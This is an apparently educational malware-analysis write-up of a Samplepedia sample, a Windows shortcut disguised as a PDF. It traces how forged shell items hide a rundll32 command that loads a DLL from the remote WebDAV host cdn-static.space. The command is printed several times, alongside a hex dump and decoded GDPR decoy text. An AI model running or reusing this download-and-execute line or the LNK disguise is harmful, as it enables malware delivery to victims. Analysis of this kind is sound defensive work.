This file is an easy sample from Samplepedia

The file is an archive that contains two files a Windows shortcut file (lnk) and a Microsoft Word document (docx).

• 'CH - ULT Group Anti Fraud Agreement.pdf (2).lnk'

  • File Type: Microsoft Windows Shortcut

  • MD5 Hash: 7eaf8ba4d9e6b14646b8cb761ba96724

  • SHA256 Hash: 728885cdf0e9dcbafe9993b6c1a443cc204de1321634c1c85d8c34d3d26fd35c

  • VirusTotal Verdict: Malicious

    

The "Code Insights" basically explains what the malicious lnk file does. However, part of modern reverse engineering and malware analysis workflow is making sure to verify the output of various, including AI.

• 'Anti-fraud policy for Affiliates 2026.docx'

  • File Type: Word Microsoft Office Open XML Format document

  • MD% Hash: 029aa308f3cf1543c0d26c218a4d5f0c

  • SHA256 Hash: 4fb7fc1b729b648c585192ed6ae91eb5f76e81def590695381ea412721cc8bc8

  • VirusTotal Verdict: Clean

    

Executive Summary

A malicious Windows shortcut disguised as a PDF, "CH - ULT Group Anti Fraud Agreement.pdf (2).lnk", is a fileless-style download-and-execute dropper. The .lnk contains no real target file or command-line field; instead a rundll32 command hidden inside a forged control-panel shell item loads a DLL straight from a remote WebDAV share (cdn-static[.]space over port 80) and runs it, so nothing is written to disk. Plausible-looking GDPR "anti-fraud" text is used as decoy content.

Analysis

Based on the challenge description and the VirusTotal result, it was clear that the culprit sample was the .lnk file.

Using lnkinfo to triage the file.

lnkinfo <filename>


Windows Shortcut information:
    Contains a link target identifier
    Contains an icon location string

Link information:
    Creation time            : Feb 19, 2026 13:30:24.348888000 UTC
    Modification time        : Feb 19, 2026 13:30:24.348924800 UTC
    Access time            : Feb 19, 2026 13:30:24.348918400 UTC
    File size            : 0 bytes
    Icon index            : 0
    Show Window value        : 0x00000000
    Hot Key value            : 0
    File attribute flags        : 0x00000020
        Should be archived (FILE_ATTRIBUTE_ARCHIVE)
    Icon location            : http://cdn-static.space:80/1/J39E/pdf.ico

Link target identifier:
    Shell item list
        Number of items        : 2

    Shell item: 1
        Item type        : Root folder
        Class type indicator    : 0x1f (Root folder)
        Shell folder identifier    : ed7ba470-8e54-465e-825c-99712043e01c
        Shell folder name    : Unknown

    Shell item: 2
        Item type        : Unknown

From the output above, a few things stand out. To begin with, the file's icon is from a remote url at hxxp[://]cdn-static[.]space:80/1/J39E/pdf[.]ico

The domain is flagged by multiple vendors as malicious on VirusTotal

Using lnkparse

lnkparse <filename>
...snip...

"target": {
        "items": [
            {
                "class": "Root Folder",
                "guid": "ED7BA470-8E54-465E-825C-99712043E01C",
                "sort_index": "My Computer",
                "sort_index_value": 80
            },
            {
                "class": "Control panel CPL file",
                "comments": "o",
                "cpl_file_path": "\u0004",
                "name": "",
                "signature": "0x8B331A0F"
            }
        ]
    }

ED7BA470-8E54-465E-825C-99712043E01C is a Windows CLSID for the “All Tasks” / “God Mode” Control Panel view.

You can open it with:

explorer.exe shell:::{ED7BA470-8E54-465E-825C-99712043E01C}

It provides quick access to many Windows settings but doesn't grant additional privileges.

I couldn't find any more relevant information about how this file downloads malware using these tools, so I decided to malcat for further analysis.

AI's explanation of what those flags mean: "Those are Shell Link (.lnk) LinkFlags represented as names rather than a single hex value:

• DisableKnownFolderTracking — 0x00200000: disables tracking of known-folder locations.

• IsUnicode — 0x00000080: string fields in the LNK use Unicode.

• HasIconLocation — 0x00000040: the LNK contains an icon location.

• HasLinkTargetIDList — 0x00000001: the LNK contains a target ID list (an IDList)."

All of these didn't mean as much at the time, so I decided to check if there was a binary refinery unit that could work with lnk files. Turns out there was.

emit <filename> | lnk

{
  "header": {
    "creation_time": "2026-02-19 13:30:24+00:00",
    "accessed_time": "2026-02-19 13:30:24+00:00",
    "modified_time": "2026-02-19 13:30:24+00:00",
    "show_command": "Normal"
  },
  "target_path": "00000f1a338b0123e1190400a170427fba8e2444879e6a21739637095068e4561df10b4a99cf184361d3411d000000003100000031535053e0859ff2f94f6810ab9108002b27b3d91500000005000000001f0000000100000000000000000000007d0000003153505330f125b7ef471a10a5f102608c9eebac610000000a000000001f000000280000004300480020002d00200055004c0054002000470072006f0075007000200041006e00740069002000460072006100750064002000410067007200650065006d0065006e0074002e00700064006600000000000000bd00000031535053c02d26c81b909b46b7cb854f28f984e4a100000090310000001f000000470000004100740074006100630068006d0065006e007400200031002000132020004500750072006f007000650061006e00200055006e0069006f006e002000470065006e006500720061006c00200044006100740061002000500072006f00740065006300740069006f006e00200052006500670075006c006100740069006f006e0020005400650072006d00730000000000000000000904000031535053df0e8e50886ca940953e578dbe6b4dc1ed0300009bd60000001f000000ed01000033002e002000500072006f00630065007300730069006e00670020006200790020004d006900630072006f0073006f006600740020007300680061006c006c00200062006500200067006f007600650072006e00650064002000620079002000740068006500730065002000470044005000520020005400650072006d007300200075006e0064006500720020004500750072006f007000650061006e00200055006e0069006f006e002000280068006500720065006100660074006500720020001c2055006e0069006f006e001d20290020006f00720020004d0065006d0062006500720020005300740061007400650020006c0061007700200061006e00640020006100720065002000620069006e00640069006e00670020006f006e0020004d006900630072006f0073006f0066007400200077006900740068002000720065006700610072006400200074006f00200043007500730074006f006d00650072002e00200054006800650020007300750062006a006500630074002d006d0061007400740065007200200061006e00640020006400750072006100740069006f006e0020006f00660020007400680065002000700072006f00630065007300730069006e0067002c00200074006800650020006e0061007400750072006500200061006e006400200070007500720070006f007300650020006f00660020007400680065002000700072006f00630065007300730069006e0067002c0020007400680065002000740079007000650020006f006600200050006500720073006f006e0061006c00200044006100740061002c0020007400680065002000630061007400650067006f00720069006500730020006f0066002000640061007400610020007300750062006a006500630074007300200061006e006400200074006800650020006f0062006c00690067006100740069006f006e007300200061006e006400200072006900670068007400730020006f0066002000740068006500200043007500730074006f006d006500720020006100720065002000730065007400200066006f00720074006800200069006e002000740068006500200043007500730074006f006d00650072001920730020006c006900630065006e00730069006e0067002000610067007200650065006d0065006e0074002c00200069006e0063006c007500640069006e0067002000740068006500730065002000470044005000520020005400650072006d0073002e00200049006e00200070006100720074006900630075006c00610072002c0020004d006900630072006f0073006f006600740020007300680061006c006c003a002000000000000000000079010000315350534b24983fdf57164898f86daed11647825d01000046590000001f000000a5000000500072006f00740065006300740069006f006e002000660072006f006d002000440069007300720075007000740069006f006e0073002e0020004d006900630072006f0073006f006600740020007500730065007300200061002000760061007200690065007400790020006f006600200069006e0064007500730074007200790020007300740061006e0064006100720064002000730079007300740065006d007300200074006f002000700072006f007400650063007400200061006700610069006e007300740020006c006f007300730020006f006600200064006100740061002000640075006500200074006f00200070006f00770065007200200073007500700070006c00790020006600610069006c0075007200650020006f00720020006c0069006e006500200069006e0074006500720066006500720065006e00630065002e000000000000000000b902000031535053dbbff9bd7f22a94989c76e6ef0f816089d020000225f0000001f000000460100001c2044006100740061002000500072006f00740065006300740069006f006e00200052006500710075006900720065006d0065006e00740073001d2020006d00650061006e0073002000740068006500200047004400500052002c0020004c006f00630061006c002000450055002f00450045004100200044006100740061002000500072006f00740065006300740069006f006e0020004c006100770073002c00200061006e006400200061006e00790020006100700070006c0069006300610062006c00650020006c006100770073002c00200072006500670075006c006100740069006f006e0073002c00200061006e00640020006f00740068006500720020006c006500670061006c00200072006500710075006900720065006d0065006e00740073002000720065006c006100740069006e006700200074006f00200028006100290020007000720069007600610063007900200061006e006400200064006100740061002000730065006300750072006900740079003b00200061006e0064002000280062002900200074006800650020007500730065002c00200063006f006c006c0065006300740069006f006e002c00200072006500740065006e00740069006f006e002c002000730074006f0072006100670065002c002000730065006300750072006900740079002c00200064006900730063006c006f0073007500720065002c0020007400720061006e0073006600650072002c00200064006900730070006f00730061006c002c00200061006e00640020006f0074006800650072002000700072006f00630065007300730069006e00670020006f006600200061006e007900200050006500720073006f006e0061006c00200044006100740061002e000000000000000d02000031535053a3f15359c460434aac0597af299bfe55f1010000540f0000001f000000ef0000004d006900630072006f0073006f006600740020004900720065006c0061006e00640020004f007000650072006100740069006f006e00730020004c0069006d00690074006500640020006900730020004d006900630072006f0073006f006600740019207300200064006100740061002000700072006f00740065006300740069006f006e00200072006500700072006500730065006e00740061007400690076006500200066006f007200200074006800650020004500750072006f007000650061006e002000450063006f006e006f006d006900630020004100720065006100200061006e006400200053007700690074007a00650072006c0061006e0064002e00200054006800650020007000720069007600610063007900200072006500700072006500730065006e0074006100740069007600650020006f00660020004d006900630072006f0073006f006600740020004900720065006c0061006e00640020004f007000650072006100740069006f006e00730020004c0069006d0069007400650064002000630061006e00200062006500200072006500610063006800650064002000610074002000740068006500200066006f006c006c006f00770069006e006700200061006400640072006500730073003a000000000000000000fd04000031535053908a37c45eb79e44bbd808c7a8c5d0d9e104000012c40000001f000000680200004e006f00740077006900740068007300740061006e00640069006e0067002000740068006500200066006f007200650067006f0069006e00670020006c0069006d0069007400730020006f006e00200075007000640061007400650073002c0020004d006900630072006f0073006f006600740020006d006100790020006d006f00640069006600790020006f00720020007400650072006d0069006e00610074006500200061002000500072006f00640075006300740020006f0072002000500072006f00660065007300730069006f006e0061006c0020005300650072007600690063006500200069006e00200061006e007900200063006f0075006e0074007200790020006f00720020006a007500720069007300640069006300740069006f006e00200077006800650072006500200074006800650072006500200069007300200061006e0079002000630075007200720065006e00740020006f0072002000660075007400750072006500200067006f007600650072006e006d0065006e007400200072006500710075006900720065006d0065006e00740020006f00720020006f0062006c00690067006100740069006f006e0020007400680061007400200028003100290020007300750062006a00650063007400730020004d006900630072006f0073006f0066007400200074006f00200061006e007900200072006500670075006c006100740069006f006e0020006f007200200072006500710075006900720065006d0065006e00740020006e006f0074002000670065006e006500720061006c006c00790020006100700070006c0069006300610062006c006500200074006f00200062007500730069006e006500730073006500730020006f007000650072006100740069006e0067002000740068006500720065002c0020002800320029002000700072006500730065006e007400730020006100200068006100720064007300680069007000200066006f00720020004d006900630072006f0073006f0066007400200074006f00200063006f006e00740069006e007500650020006f007000650072006100740069006e00670020007400680065002000500072006f00640075006300740020006f00720020006f00660066006500720069006e00670020007400680065002000500072006f00660065007300730069006f006e0061006c0020005300650072007600690063006500200077006900740068006f007500740020006d006f00640069006600690063006100740069006f006e002c00200061006e0064002f006f0072002000280033002900200063006100750073006500730020004d006900630072006f0073006f0066007400200074006f002000620065006c0069006500760065002000740068006500200044005000410020005400650072006d00730020006f00720020007400680065002000500072006f00640075006300740020006f0072002000500072006f00660065007300730069006f006e0061006c002000530065007200760069006300650020006d0061007900200063006f006e0066006c0069006300740020007700690074006800200061006e00790020007300750063006800200072006500710075006900720065006d0065006e00740020006f00720020006f0062006c00690067006100740069006f006e002e000000000000004d00000031535053d59a9650e01f6646aed9830c5995739d31000000064c0000001f0000000f000000410075007400680065006e007400690063006100740069006f006e000000000000000000d901000031535053567ecc355ff64846aad1d9e108afe6b5bd010000f2010000001f000000d60000002d0009004d006900630072006f0073006f006600740020007500730065007300200069006e0064007500730074007200790020007300740061006e0064006100720064002000700061007300730077006f00720064002000700072006f00740065006300740069006f006e0020007000720061006300740069006300650073002c00200069006e0063006c007500640069006e00670020007000720061006300740069006300650073002000640065007300690067006e0065006400200074006f0020006d00610069006e007400610069006e002000740068006500200063006f006e0066006900640065006e007400690061006c00690074007900200061006e006400200069006e00740065006700720069007400790020006f0066002000700061007300730077006f0072006400730020007700680065006e002000740068006500790020006100720065002000610073007300690067006e0065006400200061006e0064002000640069007300740072006900620075007400650064002c00200061006e006400200064007500720069006e0067002000730074006f0072006100670065002e0000000000000089000000315350539c95fc19034628478b142110f0cbd9336d00000049950000001f0000002e000000200020002000200022202000430061006c00690066006f0072006e0069006100200043006f006e00730075006d0065007200200050007200690076006100630079002000410063007400200028004300430050004100290020000000000000004d010000315350539d448a205e1704499d36df5be0a24f9f31010000f23e0000001f00000090000000410063006300650073007300200050006f006c006900630079002e0020004d006900630072006f0073006f006600740020006d00610069006e007400610069006e0073002000610020007200650063006f007200640020006f0066002000730065006300750072006900740079002000700072006900760069006c00650067006500730020006f006600200069006e0064006900760069006400750061006c007300200068006100760069006e0067002000610063006300650073007300200074006f00200043007500730074006f006d00650072002000440061007400610020006f0072002000500072006f00660065007300730069006f006e0061006c00200053006500720076006900630065007300200044006100740061002e00000000000000bd00000031535053379878137c142143b3f09de0a06971d5a100000002000000001f000000470000002500770069006e0064006900720025005c00730079007300740065006d00330032005c00720075006e0064006c006c00330032002e0065007800650020005c005c00630064006e002d007300740061007400690063002e00730070006100630065004000380030005c0031005c004a003300390045005c00a0002c006c00200038003900300036003900300000000000000000003100000031535053b377ed0d14c66c45ae5b285b38d7b01b15000000020000000015000000000000000000000000000000a9010000315350532c1f966ec23c90478ebdef29a450a2bb8d0100003d660000001f000000be0000001c20500072006f0064007500630074001d202000680061007300200074006800650020006d00650061006e0069006e0067002000700072006f0076006900640065006400200069006e002000740068006500200076006f006c0075006d00650020006c006900630065006e00730065002000610067007200650065006d0065006e0074002e00200046006f0072002000650061007300650020006f00660020007200650066006500720065006e00630065002c0020001c20500072006f0064007500630074001d20200069006e0063006c00750064006500730020004f006e006c0069006e006500200053006500720076006900630065007300200061006e006400200053006f006600740077006100720065002c0020006500610063006800200061007300200064006500660069006e0065006400200069006e002000740068006500200076006f006c0075006d00650020006c006900630065006e00730065002000610067007200650065006d0065006e0074002e002000000000000000450100003153505335f147c67de4a0478f45036d01bc0b4929010000f31e0000001f0000008b00000020002000200020002220200045006400750063006100740069006f006e00200064006100740061002000280066006f00720020006500780061006d0070006c006500200065006400750063006100740069006f006e00200068006900730074006f00720079002c002000630075007200720065006e007400200065006400750063006100740069006f006e002c002000670072006100640065007300200061006e006400200072006500730075006c00740073002c002000680069006700680065007300740020006400650067007200650065002000610063006800690065007600650064002c0020006c006500610072006e0069006e00670020006400690073006100620069006c0069007400790029003b000000000000000000550100003153505313a90edc6219b9459b5d08642697084139010000630f0000001f0000009300000043006f006d0070006f006e0065006e007400200044006900730070006f00730061006c002e0020004d006900630072006f0073006f006600740020007500730065007300200069006e0064007500730074007200790020007300740061006e0064006100720064002000700072006f00630065007300730065007300200074006f002000640065006c00650074006500200043007500730074006f006d006500720020004400610074006100200061006e0064002000500072006f00660065007300730069006f006e0061006c002000530065007200760069006300650073002000440061007400610020007700680065006e0020006900740020006900730020006e006f0020006c006f006e0067006500720020006e00650065006400650064002e000000000000000000000000000000",
  "data": {
    "icon_location": "http://cdn-static.space:80/1/J39E/pdf.ico"
  }
}

The target_path fields looks encoded. I attempted to decode this using CyberChef. This was my recipe:

This produced some readable strings, but I couldn't see any clue to any way the file downloaded and ran malware. It just looked like a bunch of text posing as communication regarding GDPR. Eventually, I realised that I could have found the actual suspicious command string by changing the encoding to UTF-16BE (1201), but that was something I found later.

I decided to look at strings found within the file using malcat. Immediately, I see a string that looks suspicious:

%windir%\system32\rundll32.exe \\cdn-static[.]space@80\1\J39E\. Using malcat's hexview, I found the offset of the string within the file.

Using binary refinery's snip and u16 units, I was able to successfully decode it. For the snip unit, you need to convert the hex values to decimal values. So hex 1569 becomes 5481 in decimal and hex 15F5 becomes 5621 in decimal.

Binary refinery one liner:

emit <filename> | snip 5481:5621 | u16
%windir%\system32\rundll32.exe \\cdn-static.space@80\1\J39E\ ,l 890690

u16 is the binary refinery unit that encodes and decodes UTF-16 encoded string data.

At this point, I was stomped as to why CyberChef didn't find this with my initial recipe.

Looking more closely at the other options, I saw the UTF-16BE (1201) option and selected it. That revealed the hidden rundll32 command:

Attack Chain

1. The victim double clicks the fake PDF shortcut.

2. The IDList causes Explorer to treat it as a bogus Control-Panel/CPL item (no application target, no arguments field.

3. Shell interprets enough to run the embedded command line: rundll32.exe \\cdn-static.space@80\1\J39E\ ,l 890690.

4. It uses WebDAV, a HTTP based protocol that allows web servers to act as network drives, to connect to the server, and then rundll32 fetches the DLL over plain HTTP and executes entry point l with argument 890690.

5. Nothing is written to disk. The DLL is loaded directly from the remote server.